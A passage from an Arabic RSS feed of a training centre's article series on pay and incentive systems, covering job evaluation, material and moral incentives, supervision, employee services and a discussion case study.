  • نمط القيادة ، أى مدى كون المدير قائدا يسعى لفهم شخصيات مرءوسيه واستخدام حزمة الحوافز الايجابية والسلبية الأنسب لشخصية كل موظف وساعيا لبناء روح الفريق وميالا للتفويض والتمكين فكلما توافرت هذه العناصر فى المدير أسهم ذلك فى دعم الاستغراق الوظيفى .

ملخص

ناقشنا فيما سبق كيف تعمد الإدارة لمكافأة جهود العاملين فتعرضنا لتقييم الوظائف كمرحلة أساسية لتحديد الأجر العادل لكل وظيفة واستعرضنا أهم طرق تقييم الوظائف طريقة الترتيب وطريقة التقسيم إلى درجات وطريقة النقاط وأخيرا طريقة العوامل المقارنة وأردنا  مثالا لتحديد أجر الوظيفة باستخدام معادلة الاتجاه العام وكيف يجب معالجة الفرق بين الأجر الحالى لشاغل الوظيفة والأجر العادل الذى حددته عملية تقييم الوظيفة .

ثم أوردنا هيكلاً متكاملاً للحوافز المادية سواء كانت مباشرة أو غير مباشرة وللحوافز المعنوية متمثلة فى التصميم المحفز للعمل وتكبير العمل وتناوب العمل وإثرائه وناقشنا الحوافز فى بيئة العمل ممثلة فى الإشراف وظروف العمل المادية والعلاقات مع الزملاء والزميلات والمشاركة فى الإدارة وتلبية اهتمامات الموظفات فى بيئة العمل ثم ناقشنا العلاقة بين الرضا والإنتاجية وكيف أن ارتفاع الرضا لا يعنى بالضرورة زيادة فى الإنتاجية حيث لا توجد علاقة طردية بينهما .

 

حالــــة عملـــية

قال السيد / نبيه ، رئيس مجلس إدارة إحدى شركات قطاع الأعمال العام لأحد زملائه – فى لقاء بنادي الإدارة – إنه قد انتهى من تصميم لائحة ممتازة لنظام الحوافز بالشركة ستطبق فوراً واخذ يشرح النظام لصديقه قائلا أنه بالإضافة لنصيب العاملين بالشركة فى الأرباح سيتضمن نظام الحوافز صرف 15% من الأجر الأساسي لكل موظف وموظفه بحيث لا يضار احد وأن هذا الحافز سيزداد فى أول كل عام ولمدة ثلاثة أعوام بواقع 5% أي أنه سيكون 20% فى العام التالي و25% فى العام الذى يليه وهكذا وقال ” نبيه ” أنه يرى أن نظام حوافز كهذا سيوفر الشكاوى التى كان يمكن أن تقدم ممن يعتقدون أنهم ظلموا فى مجال صرف الحوافز كما سيوفر الوقت والجهد الذى كان سيستنزف فى معالجة مثل هذه الشكاوى .

وفى لقائه التالى مع زملائه – بعد حوالي ثمانية شهور – سأله زميله عن أحواله وأحوال الشركة ، فرد السيد / نبيه بامتعاض “يا أخي لا فائدة فى هؤلاء الناس .مهما صرفت لهم من حوافز  فالحال هو الحال الموظفون الجدد لا يعملون كما يجب وكذلك القدامى وكذلك الموظفات الفنيون والإداريون وكأنك يا أبو زيد ما غزيت الواحد يشوف له مشروع قطاع خاص وخلاص .

للمناقشـــة

  • ماهى – فى رأيك – أسباب عدم تحسين إنتاجية الموظفين والموظفات بعد تطبيق نظام الحوافز الجديدة ؟
  • هل يمكن أن يشعر بعض العاملين بغبن أو ظلم ؟ ولماذا ؟
  • هل تتفق مع ما انتهى إليه السيد /نبيه ؟ ولماذا ؟ ماذا ترى ؟

 

مناقشات:

  • هل ترى علاقة بين كل من تحليل ووصف الوظائف وبين تقييمها ؟ كيف ؟
  • ماهى الاعتبارات التى يتعين أن تراعيها الإدارة عند إعداد هيكل الأجور ؟
  • من بين طرق تقييم الوظائف ، ماهى الطريقة التى تراها أكثر عملية ؟ ولماذا ؟
  • هل يمكن ترجيح أهمية الحوافز المادية على الحوافز المعنوية أم العكس ولماذا ؟
  • هناك علاقة طردية بين الرضاء والإنتاجية ” ناقش بإيجاز ؟

***

انتهت بحمد الله مقالات مسار كيم التعليمي للبرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/integrated_pay_program-5/feed/ 0 سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الرابعة https://cameknowledge.camecenter.com/articles/integrated_pay_program-4/ https://cameknowledge.camecenter.com/articles/integrated_pay_program-4/#respond Sat, 08 Apr 2023 12:20:02 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10442 سلسلة مقالات – البرنامج المتكامل في الأجور بقلم د/محمود الضابط   المقالة الرابعة 2/2 الحوافز فى بيئة العمل تتضمن هذه الحوافز تشكيله متنوعة مثل التقييم الموضوعي للأداء والأجر المناسب (مع مكملاته ) وفرص الترقية والإشراف الفاعل وظروف العمل المادية والعلاقات مع الزملاء والرؤساء والمشاركة فى الإدارة بما تتضمنه من نظام مقترحات العاملين والعاملات . ويمكن […]

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – البرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

المقالة الرابعة

2/2 الحوافز فى بيئة العمل

تتضمن هذه الحوافز تشكيله متنوعة مثل التقييم الموضوعي للأداء والأجر المناسب (مع مكملاته ) وفرص الترقية والإشراف الفاعل وظروف العمل المادية والعلاقات مع الزملاء والرؤساء والمشاركة فى الإدارة بما تتضمنه من نظام مقترحات العاملين والعاملات .

ويمكن التركيز فى هذا المجال على الحوافز المعنوية التى لم تسبق معالجتها فى الأجزاء الماضية وهى : الإشراف ، وظروف العمل المادية والعلاقات مع الزملاء والمشاركة فى الإدارة .

الإشراف

لا ينحصر وصف المشرف أو القائد فى كونه مسئولا عن أداء مجموعة من الأفراد فهو أيضا مسئول عن خلق وتنمية جو معنوي مناسب يهيئ للأفراد أن يعملوا معاً بفاعلية تجاه تحقيق الأهداف المخططة وهو – كقائد ناجح – يفترض ألا يعالج مشكلات وقضايا العمل فى إطارها الفنى فقط بل أيضا فى إطارها الإنساني فمهما كانت طبيعة العمل والظروف المادية المحيطة فإن نمط الإشراف أو سلوك المشرف له تأثير جوهري على معنويات المرؤوسين لذلك فإن أهم مقومات المشرف تكمن فى قدرته على تهيئة أنسب مقومات الأداء المثمر لمرؤسية وسبيله لذلك هو تفهم حاجاتهم كأساس لتوجيههم وتحفيزهم وحتى يكون نمط الإشراف حافزاً للمرؤوسين والمرؤوسات على الأداء الفاعل يجب ان توفر للمشرف أو القائد سمات بناءة مثل  :الذكاء والاتزان الانفعالي والقدرة على فهم الناس والتأثير فيهم من خلال الاتصال الناجح وديمقراطية القيادة من ناحية أخرى تتوقف جودة أيضا  على حسن معالجة المشرف للموقف الكلى الذى يتكون منه وجماعة المرؤوسين والمرؤوسات فى ظروف معينة وعلى مدى التفاعل الايجابي بين الطرفين فى كل موقف .

ظروف العمل المادية

تتضمن ظروف العمل المادية : الإضاءة والتهوية والحرارة والضوضاء والغبار والنظافة وألوان الأثاث والحوائط – وفى بعض المنظمات – الموسيقى الخفيفة فى مكان العمل وتسهم ظروف العمل المادية الجيدة فى تحديد درجة الشعور بالرضا عن العمل حيث يتأثر أداء الفرد بانطباعاته عن بيئة عمله وتفاعله معها لذلك تسهم بيئة العمل الجيدة فى تنمية الدافع للعمل وتقليل أخطائه ورفع مستويات الجودة وزيادة الإنتاجية .

واتفاقا مع ذلك يتجه بعض مصممي المصانع وأماكن العمل الحديثة لأن يضمنوا خططهم المعمارية الاعتبارات الخاصة بالمؤثرات السيكولوجية مثل الألوان والموسيقى على أساس أن هذه العوامل المادية ككل تؤثر فى المزاج الشخصى للعامل أو العاملة وفى درجة الشعور بالتعب ودرجة التيقظ والنشاط كما تؤثر فى النهاية على المعنويات .

العلاقات مع صحبة العمل

تكتسب هذه العلاقات أهمية بالغة فى ضوء حقيقة أن الفرد نصف يومه تقريبا فى العمل فإذا تهيأت للعامل أو العاملة صحبة عمل متآلفة منسجمة فإن هذا يسهم فى إشباع الحاجات الاجتماعية كما يسهم ذلك فى شيوع روح الفريق حيث يسود التعاون والتفاعل الايجابي بين جماعة أو جماعات ويسهل الإشراف .

 

المشاركة فى الإدارة

المقصود بذلك إتاحة الفرصة للمرؤوسين للاشتراك فى تحليل المشكلات واتخاذ القرارات وهذا فى حد ذاته أسلوب فاعل للقيادة وقد جاء فى القرآن الكريم :” وشاورهم فى الأمر (آل عمران :159) وأمرهم شورى “(الشورى 38) وفق هذا الأسلوب أو الحافز يحيط المشرف مرؤوسيه و/أو مرؤوساته علماً بالمشكلات وبمؤشرات الأداء ويشجعهم على أبداء آرائهم واقتراحاتهم ويتقبلها أو يأخذ بعضها أو كلها بالاعتبار قبل إصداره للقرار وهذا هو القائد الديمقراطي بعكس الرئيس الأوتوقراطي .

وتتمثل مشاركة المرؤوس فى اشتراكه العقلى الإنفعالى فى مواقف العمل بحيث يسهم فى تصميم الأهداف وتنفيذها ويشارك فى المسئولية عن النتائج وتتطلب المشاركة الفعالة عدة مقومات أهمها : سعى الرئيس لإشراك مرؤوسيه قبل وقت كاف من اتخاذ القرار حتى تتاح فرصة المشاركة وان تتوفر سبل الاتصال الفاعل بين الرئيس ومرؤوسيه وان يتوفر مفهوم واضح بينهما للمشاركة الفعالة .

وتجدر الإشارة إلى التجربة اليابانية فى هذا الصدد حيث تقوم إدارة الموارد البشرية هناك بشكل عام على افتراض أساسي مؤداه أن الإسهام الايجابي للعامل فى نجاح العمل حتمية وضرورة أساسية وانه كلما زادت المسئولية المنوطة به كلما زاد تحفزه للأداء وقلت الحاجة لمراقبته وتشتهر التجربة اليابانية بنظام حلقات الجودة حيث يشترك المرؤوسون والرؤساء فى اجتماعات دورية على مائدة مستديرة للتشاور فى المشكلات واتخاذ القرارات فى جو من الثقة المتبادلة بين الطرفين .

ويتضمن حافز المشاركة فى الإدارة ، نظام الاقتراحات حيث تخصص وحدة تنظيمية بالمنظمة لتلقى وفحص الاقتراحات المقدمة من العاملين ودراستها من حيث إسهامها فى تبسيط إجراءات الأداء أو ترشيد التكاليف أو حل مشكلة عامة مع اقتراح مكافأة مقدميها .

 

تلبية اهتمامات الموظفات فى بيئة العمل

تختلف اهتمامات الموظفات فى مجال العمل عن اهتمامات الموظفين الرجال بشكل واضح وبدرجة تستحق أن تؤخذ فى الاعتبار فى إطار ممارسة أساليب الإشراف وقد قام ” هرزبرج ” وآخرون بتجميع نتائج تسع دراسات عن العوامل الأكثر أهمية لكل من الجنسين فى مجال العمل وغطت الدراسة عشرة آلاف من الموظفين والموظفات حيث أتضح أن العوامل الأكثر أهمية للموظفات عن الموظفين تضمنت : الإشراف والاعتبارات الاجتماعية فى العمل وظروف العمل الأقل أهمية لهن تضمنت : فرصا لتقدم والترقية والمنظمة والإدارة والأجور والمظاهر الفنية فى العمل كما أوضحت الدراسة أن الموظفات أكثر اهتماما من الموظفين بأن ينلن المديح والتقدير والاهتمام من المشرفين .

  • فمن حيث اهتمامهن بالإشراف يتفق الكتاب على أن الموظفات عامة ينشدن أسلوبا خاصا للإشراف وترجع بعض أسباب ذلك إلى تكوينهن الفسيولوجي (الجسمي ) والسيكلوجى (النفسي) المختلف عن الرجال وإلى ميولهن واهتماماتهن الخاصة وبينما يستاء الرجال – بشكل عام وفى أحوال كثيرة من أسلوب الإشراف المباشر الدقيق (Close Supervision) فغالبا ما تميل الموظفات إلى أن تراجع أعمالهن حتى يعرفن ما إذا كن يحرزن تقدما كافياً أم لا والإناث يبدين عاطفيات أكثر من الرجال وارتباطا بذلك وبمسئوليتهن المزدوجة فى العمل داخل المنزل وخارجة فإن الموظفات أكثر قلقا بتأثير ضغط العمل عن الموظفين وفى هذه الحالات يكون على المشرف الحكيم أن يعهد بوحدات عمل مناسبة لهن كلما أمكن ويعتبر ذلك أفضل من تكديس عمل عدة أيام فى تكليف واحد ومن السمات الشخصية المميزة للإناث أنهن أكثر من الرجال وقد أجريت دراسة على ألف شخص أوضحت أن واحداً من كل خمسة رجال يكون حساسا جداً بينما كانت النسبة بين الإناث واحدة من كل ثلاثة لذلك وبسبب هذه الفروق السيكولوجية والاجتماعية بين الجنسين يتطلب الإشراف على النساء إعطاء أهمية أكثر لعناصر اللياقة والكياسة مراعاة لحساسيتهن الزائدة .

والموظفات أكثر احتياجا للتعضيد والإطراء والتشجيع وهن ميالات بشكل عام إلى أن تراجع أعمالهن وان يشجعن ويقدرن بطريقة ودية عندما يحرزن  تقدما مرضيا وقد أجريت دراسة لقياس اثر التشجيع على مجموعة مشتركة من الجنسين حيث قسم المبحوثون إلى ثلاثة مجموعات امتدحت ومجموعة انتقدت والثالثة أهملت فكانت النتيجة العامة هى حسن قدرة (71%) فى المجموعة الممتدحة (20%) فى المجموعة المنتقدة (5%) فى المجموعة المهملة وبتحليل أثر التشجيع حسب الجنس فى المجموعات الثلاثة تبين ما يلى :

 

جدول (5)  أثر التشجيع حسب الجنس

المجموعات النسبة المئوية للتحسن لدى الموظفات النسبة المئوية للتحسن لدى الموظفين
المجموعة الممتدحة 86 54
المجموعة المنتقدة 14 26
المجموعة المهملة 7 2

 

حيث يتضح أن أسلوب التشجيع يعد من الوسائل الفاعلة إلى حد كبير فى الإشراف على الموظفات ، ومن حيث نوع أو جنس القائم بالإشراف تفضل الموظفات بوجه عام العمل مع مشرف رجل عن العمل مع مشرفة وفى هذا الصدد يمكن القول بأن هناك اتفاقا عاما بين الكتاب على تفضيل الموظفات للمشرف الرجل حيث يشعرن بفعالية هذا النمط من الإشراف وفى دراسة أجريت على (649) موظفة تأكد هذا الاعتبار إذ فضلت (409) موظفة بنسبة 63% مشرفين رجال ومع ذلك فهناك استثناءات من هذه القاعدة إذ تفضل بعض الموظفات إن يعملن مع مشرفة حيث يشعرن أنها تكون أكثر تقديراً أو تفهماً لمشاكلهن وأنه من السهل التحدث إليها وخصوصا فى المسائل الشخصية .

وفى دراسة ميدانية أجراها الكاتب على 130 موظفة بإحدى المنظمات وجه لهن سؤلا عما إذا كن يفضلن العمل مع مشرف أو مشرفة أو يستوي عندهن المشرف والمشرفة فأجاب 63% منهن بـ ” يستوي عندي مشرف أو مشرفة وأجاب 34% منهن : ” أفضل العمل مع مشرف ” وأجاب 3% بـ ” أفضل العمل مع مشرفة ” ويوضح ذلك أن النسبة التي اختارت بين المشرف والرجل والمشرفة المرأة قد انقسمت إلى نسبة عالية فى تأييد المشرف الرجل (34%) مقابل نسبة ضئيلة فى تأييد المشرفة (3%) .

  • ومن حيث اهتمام الإناث بالاعتبارات الاجتماعية فى العمل تميل الموظفات بشكل عام إلى تكوين مجموعات مختلفة فى مجال العمل توفر لهن دفء القبول الاجتماعي وإلى تكوين علاقات عمل حسنة مع المشرفين ومع الزملاء والزميلات .

وبسؤال الموظفات فى دراسة الكاتب سالفة الذكر عما كن يفضلن العمل مع مجموعة مختلفة من الجنسين أو مع رجال فقط او مع موظفات فقط جاءت إجابتهن كما يلى : 93% يفضلن العمل مع مجموعة مختلطة من الجنسين 5% يفضلن العمل مع الموظفات فقط 3% يفضلن العمل مع موظفين رجال فقط وتوضح هذه الإجابات المدى الاجتماعي الذى تنشده الموظفات  فى مجال العمل وبالنسبة لكثير من النساء فإن تكوين علاقات طيبة مع جماعة العمل توفر الانسجام الاجتماعي لهن هى أمور تمثل حاجات قوية فى محيط العمل وتمثل أساسا لشعورهن بالمن والرضا عن العمل وقد قام ” ديفيز ” بحصر آراء الموظفات فى إحدى الشركات فيما يتعلق باهتماماتهن فى مجال العمل ووجه فيه سؤالا مفتوحا هو ” ماذا تفضلين  فى شركتك كمكان للعمل ؟

فأجاب أكثر من نصف المستقصيات إجابات ذات طابع اجتماعي كما يلى ” الناس الذين أعمل معهم يبدون طيبين جداً ” وأحب تعاون الزملاء فى العمل ” وكل الزملاء أصدقاء “” ومعظم الناس من القاعدة إلى القمة أصدقائي ”

كما أن اشتراك الجنسين فى جو العمل يمكن أن يؤدى إلى ارتفاع مستوى التعامل الانسانى وزيادة حماس الرجال فى العمل يفعل تنافس الجنسين وإلى شيوع روح الفريق .

  • ومن حيث اهتمام الموظفات بظروف العمل فهن يهتممن عموما بتكوين علاقات طيبة مع الزملاء والزميلات وهن يبدين اهتماما أكبر بالعلاقات الإنسانية الطيبة عن الاعتبارات الفنية للعمل وتفضل كثير من الموظفات أن يشغلن عملا ذا ظروف جيدة عن أن يسعين إلى التقدم والترقية لأنهن لا يردن المخاطرة بفقد ظروف عمل اجتماعية جيدة وقد أوضحت دراسة لتحديد ترتيب العوامل التى تفضلها جماعات العمل المختلفة بالنسبة لظروف العمل أنه بالنسبة للعاملات كانت “الظروف المريحة للعمل والزملاء والزميلات الطيبون فى العمل والرئيس الطيب فى مقدمة العوامل التى رتبت وفقا لتفضيلات الموظفات .

إن الرؤساء مطالبون – فى ضوء ما تقدم – بإدراك الطبيعة الأنثوية الخاصة وتكييف نمط إشرافهم على المرؤوسات بما يتناسب وهذه الطبيعة إذا أرادوا الاحتفاظ لهن بمعنويات طيبة ومن ثم بإنتاجية عالية على أن هذا لا يعنى التهاون فى معالجة السلبيات التى قد تبدر من بعض المرؤوسات مثل تجاوز الحد المقرر من الإجازات والمسموحات الزمنية (التى يمكن مميزة لهن ) ومثل الاشتغال بأعمال الإبرة وأعمال أخرى منزلية فى مكان العمل .

اختلاف الأهمية النسبية للحافز باختلاف العاملين وحاجاتهم

ومع ذلك فإن قدرة الحافز المادي على توليد قوة دفع للعاملين تختلف من فرد لآخر بحسب درجة حاجته فيكون لهذا الحافز أهمية كبيرة وقوة دفع لمن يشعر بنقص حاد فى موارده المالية ورغبة قوية فى سد العجز بها بينما يكون لهذا الحافز أهمية / دافعية أقل بالنسبة لمن يتوفر لديه مورد مالي خارجي آخر أو لا يعانى من نقص حاد فى موارده المالية .

كذلك فإن الحافز المادى قد لا يكون مؤثراً تماما بالنسبة لموظف يتقاضى مرتبا يراه كبيراً أو كافيا نسبيا فهو لا يشعر بحاجة مادية أساسية بينما قد يشعر بحاجة عالية إلى التقدير الشخصي واحترام رؤسائه وزملائه له فإذا تمثل الحافز الذى تقدمه الإدارة فى هذا الصدد فى نشر اسم الموظف الممتاز أداء وتعاملا بمجلة المنظمة أو منحه نوطأ للجدارة أو ترشيحه لمهمة أو بعثة للخارج فإن مثل هذا الموظف يوجه سلوكه فى اتجاه حصوله على هذا الحافز وذلك بأن يحسن أدائه وأنماط تعامله مع رؤسائه وزملائه أو مرؤوسيه أو عملاء المنظمة وهنا يكون الحافز الذى خاطب حاجته إلى التقدير الشخصي أقوى وأفعل (أكثر دفعا له ) من الحافز المادى .

وفى مثال آخر إذا قدمت إدارة المنظمة حافزاً للعاملين والعاملات يتمثل فى إنقاص ساعات العمل بواقع ساعة واحدة أو بإنشاء دار حضانة لأطفال الموظفات فإن مثل هذا الحافز أن تكون له نفس الفاعلية والأهمية لكل العاملين ستكون له فاعلية أكبر للموظفات ذوات المسئوليات المنزلية واللاتي سيشبعن حاجة كبيرة لديهن إلى أداء أو استكمال الواجبات المنزلية وفى نفس الوقت يكون هذا الحافز أقل فاعلية بالنسبة للموظفات غير المتزوجات وأقل نسبيا للموظفين الرجال .

فى ضوء ما تقدم فإن الإدارة الفعالة هى التى تدرس وتفهم العاملين بتقسيماتهم المختلفة (مثل طبيعة أعمالهم – مدة خدمتهم – مستوى أجورهم – حالتهم الاجتماعية ) بحيث تقدم مزيج الحوافز الذى يتيح – أكثر من غيره – أقصى إشباع ممكن للأفراد بهذه التقسيمات .

وكما سبق القول فإن اختيار الفرد لسلوك معين على درجة توقعه أن هذا السلوك سيعود عليه بنتاج معين وكلما وجه أن الفرد المقدم – أيا كانت طبيعته – فاعلا فى إشباع الحاجة المطلوب إشباعها كلما كان هذا الحافز أكثر دفعا له على إتباع السلوك المؤدى للحافز والعكس صحيح .

***

انتهت بحمد الله المقالة الرابعة لمسار كيم التعليمي للبرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/integrated_pay_program-4/feed/ 0 سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الثالثة https://cameknowledge.camecenter.com/articles/integrated_pay_program-3/ https://cameknowledge.camecenter.com/articles/integrated_pay_program-3/#respond Sat, 08 Apr 2023 12:17:02 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10440 سلسلة مقالات – البرنامج المتكامل في الأجور بقلم د/محمود الضابط   المقالة الثالثة حوافز الإنتاج يتضمن هيكل الحوافز ، حافزاً يسمى حافزاً الإنتاج يصرف إما على أساس يومى حيث يتقرر صرف مبلغ معين عن كل يوم عمل ، أو على أساس شهرى حيث يصرف مبلغ معين فى نهاية كل شهر وذلك وفقاً لمعايير محددة بشأن […]

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – البرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

المقالة الثالثة

حوافز الإنتاج

يتضمن هيكل الحوافز ، حافزاً يسمى حافزاً الإنتاج يصرف إما على أساس يومى حيث يتقرر صرف مبلغ معين عن كل يوم عمل ، أو على أساس شهرى حيث يصرف مبلغ معين فى نهاية كل شهر وذلك وفقاً لمعايير محددة بشأن حجم الأداء والانضباط الوظيفى وبمعدلات تتناسب مع المستوى الوظيفى أو مستوى الأداء أو كلاهما .

المكافآت عن ساعات العمل الإضافية

وهذه تصرف للموظف الذى يقوم بجهد إضافى متمثلاً فى استمراره فى العمل بعد ساعات العمل المقررة نظراً لعدم كفاية العاملين بالنسبة لحجم الأعمال المطلوبة .وتحسب هذه المكافأة بضرب عدد الساعات الإضافية فى المبلغ المقرر عن الساعة الواحدة إلا أن صرف هذه المكافآت يتوقف على مدى كفاية الاعتماد المالى الذى تخصصه الإدارة لهذا الغرض وأحياناً يؤدى القصور فى هذا الاعتماد المالى إلى صرف مكافآة الساعات الإضافية مخفضة بنسب مئوية معينة فمثلا إذا استحق لأحد العاملين مبلغ عشرة جنيهات عن الساعات الإضافية التى عملها فإن هذا المبلغ قد يخفض بنسبة 3% مثلا نتيجة لعدم كفاية ما خصص مقدماً فى موازنة الجهة الإدارية التى يتبعها هذا الموظف ولاشك أن هذا الاعتبار يؤثر سلبا على قيمة مثل هذا الحافز وبالتالى على معنوية الموظف .

المكافآت عن اقتراحات العاملين

بعد تقبل الإدارة للاقتراحات المفيدة والفعالة التى يقدمها العاملون والاهتمام بها ومكافآتهم أحد الصور الفاعلة لحفزهم ورفع معنوياتهم ومن المفيد أن تقرر الإدارة مكافآت تشجيعية للعاملين الذين يقدمون اقتراحات أو أفكاراً مبتكرة لتحسين طرق العمل أو رفع كفاءة الأداء أو تخفيض تكاليف التشغيل وتوضح ممارسات الكاتب لبعض الشركات فى سنغافورة وبريطانيا والولايات المتحدة الأمريكية وجود نظام أو برنامج للاقتراحات حيث تطلب الإدارة من كل موظف أو عامل تقديم عدد محدد من الاقتراحات على مدار العام عادة ما يدور حول عشرة اقتراحات هذا فضلاً الاقتراحات التى ترعها حلقات الجودة Quality Circles ولاشك أن فحص هذه الاقتراحات وتقييمها وفقاً لمعايير موضوعية معتمدة يفيد كثيرا فلو أمكن الإفادة من 0.1 % من 0.3% اقتراح تقدم سنوياً بإحدى الشركات فلاشك أن تحسناً ملموساً سيصيب الجودة أو التكلفة أو توقيتات خدمة العملاء أو كل ذلك .

1/2 الحوافز المادية غير المباشرة

تتضمن هذه الحوافز خدمات اجتماعية تقدم للعالمين والعاملات مثل التغذية والإسكان والمواصلات والتثقيف والتعليم والترويح والرياضة وخدمات مالية وخدمات طبية ودور الحضانة للموظفات وخدمات شرائية .

تعد الخدمات الاجتماعية من الحوافز المؤثرة على أداء العاملين فهى إذ تستهدف صيانتهم والمحافظة عليهم ورفع درجة رضائهم العام عن العمل تهيؤهم للعمل فى ظل معنويات عالية هذا بالإضافة لكونها حافزاً لهم على الاستمرار فى قوة العمل بالمنظمة وقد تنازعت الخدمات والمزايا التى تقدمها المنظمات بحيث أصبحت تمثل عنصراً رئيسياً فى الموازنة الإجمالية للأجور وهى تندرج من أقساط التأمين التى تدفعها المنظمة لصالح العامل إلى التسهيلات التى تقدمها بالاشتراك مع جماعات ونقابات العاملين وتستهدف هذه الخدمات – بشكل عام – تحسين الظروف المادية للعمل وإتاحة الاستمتاع بأوقات فراغ أكبر وضمان الأمان والرعاية فى أوقات الشدة مثل المرض والأزمات المالية وتحسين الظروف الاجتماعية العامة للعاملين.

ونضرب مثالاً لفاعلية الخدمات الاجتماعية للعاملين شركة “كروب” الألمانية التى أدت نظام الخدمات الاجتماعية بها الذى يتضمن خدمات الإسكان والرعاية الصحية والقروض مخفضة الفائدة والتعليم بالمدارس والمعاهد إلى ولاء العاملين للشركة هذا الولاء الذى مكنها من الوقوف على قدميها مرتين بعد تدميرها فى كل من الحربين العالميتين الأولى والثانية .

ويمكن عرض أهم الخدمات الاجتماعية فيما يلى :

التغذية

يقصد بذلك تقديم وجبات غذائية يومية فى المنظمات التى يستمر العمل بها حتى العصر تقريبا إما مجاناً أو بمقابل رمزي وقد تأخذ شكلاً آخر بإقامة جمعية استهلاكية للعاملين والعاملات لمعاونتهم على توفير احتياجاتهم الغذائية بتكلفة منخفضة .

الإسكان

أصبحت خدمة الإسكان من أكثر الخدمات الاجتماعية أهمية فى مصر وكثير من الدول العربية لاسيما مع استغراق الإسكان لنسبة تتراوح 25% – 30% من ميزانية العامل أو الموظف واتفاقا مع ذلك تقوم بعض المنظمات ببناء المساكن لعامليها ويقوم البعض الآخر بتشجيع إنشاء جمعيات تعاونية للبناء مع مساعدتهم فى الحصول على القروض والتيسيرات اللازمة للبناء .

الانتقالات

تمثل المواصلات فى المدن الكبيرة والمزدحمة مشكلة أساسية بالنسبة للعاملين والعاملات الذين لا يملكون سيارات خاصة وتتمثل المشكلة فى ازدحام مركبات النقل العام مما يجعل من عملية الصعود إليها والبقاء فيها ثم محاولة النزول أمراً مرهقاً فى بعض الأحيان خاصة بالنسبة للعاملات واتفاقا مع ذلك فقد اتجهت بعض المنظمات إلى توفير سيارات خاصة لانتقال العاملات بين العمل والمنزل حفاظا على طاقاتهم الإنسانية من أن تهدر فى مشاق المواصلات وللحد من ظاهرة التأخر فى الحضور عن مواعيد العمل المقررة .

 

التثقيف والتعليم

يعد تثقيف العاملين وتشجيعهم على تنمية معلوماتهم ومداركهم احد مسئوليات الإدارة تجاه العاملين وتقوم بعض المنظمات بتقديم بعض الخدمات الثقافية للعمال مثل إقامة فصول لمحو الأمية وتشجيع العاملين والعاملات الذين يستكملون دراساتهم المتوسطة أو العالية بدفع مصروفات الدراسة لهم ومنحهم إجازات بدون مرتب فى أيام الامتحانات ومنحهم مكافآت فى حالات النجاح أو التفوق الدراسي وقد تمتد هذه الخدمات إلى البناء العاملين بالتكفل بمصاريف دراستهم أو المساهمة فى إنشاء دور تعليمية لهم .

الترويج والرياضة

إن أوقات فراغ العالمين حتى وإن كانت محدودة تتطلب تنظيماً مثمرا يساعد على جعل الفرد أكثر حيوية ونشاطاً ولذلك تكتسب خدمات الترويج والرياضة أهمية خاصة لإسهامها فى تخفيف التوتر العصبى الناتج عن العمل وتكوين الشخصية المتزنة .

وتنظيم بعض المنظمات خدمات ترويجية لعامليها وعاملاتها بوسائل مختلفة منها إنشاء أو الاشتراك فى نواد رياضية واجتماعية وتنظيم رحلات مع تحمل المنظمة لنسبة من تكلفتها وتشجيع إنشاء فرق مسرحية وموسيقية من العاملين كذلك يمكن أن تشمل هذه الخدمات تنظيم عضوية العالمين – باشتراكات مخفضة – فى النوادي الرياضية والاجتماعية وفى المكتبات العامة والمسارح ونوادي الرحلات والسفريات

الخدمات المالية

تعد مساعدة الإدارة للعاملين والعاملات فى أوقات الشدة ولمواجهة مصروفات حتمية وطارئة أحد الحوافز الهامة لهم وتتضمن هذه المساعدة تقدم القروض والإعانات فى حالات معينة مثل المرض أو الوفاة أو الانتقال إلى مسكن جديد أو الزواج أو الولادة وعموما تشمل الخدمات المالية لكلا من القروض والإعانات إما القروض فتقدم للعاملين المحتاجين على أن تسترد منهم على أقساط تخصم من المرتب الشهرى مضافا إليها فائدة معينة يفترض أن تكون بسيطة بقدر الإمكان وإما الإعانات فيمكن أن تصرف للعاملين دون ان ترد ثانية وذلك فى مناسبات اجتماعية مثل زواج الابنة او فى موسم دخول الأولاد المدارس أو فى حالة وفاة أحد الأقارب وما إلى ذلك .

الخدمات الطبية

